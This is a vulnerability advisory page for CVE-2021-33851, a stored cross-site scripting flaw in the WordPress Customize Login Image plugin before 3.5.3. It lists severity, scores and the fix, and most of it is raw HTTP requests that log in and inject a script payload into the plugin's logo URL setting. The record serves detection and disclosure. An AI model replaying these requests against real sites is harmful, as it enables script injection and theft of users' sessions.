| Title | WordPress Customize Login Image <3.5.3 - Cross-Site Scripting |
|---|---|
| Author | 8authur |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser. |
| Remediation | Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.07455 |
| CVE ID | CVE-2021-33851 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wpscan wordpress customize-login-image wp authenticated wp-plugin xss apasionados vuln |
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=XILSoM&pwd=6C8ADO&wp-submit=Log+In
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 348
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
option_page=customize-login-image-settings-group&action=update&_wpnonce=laseI9&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33851.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33851.pcap
N/AN/A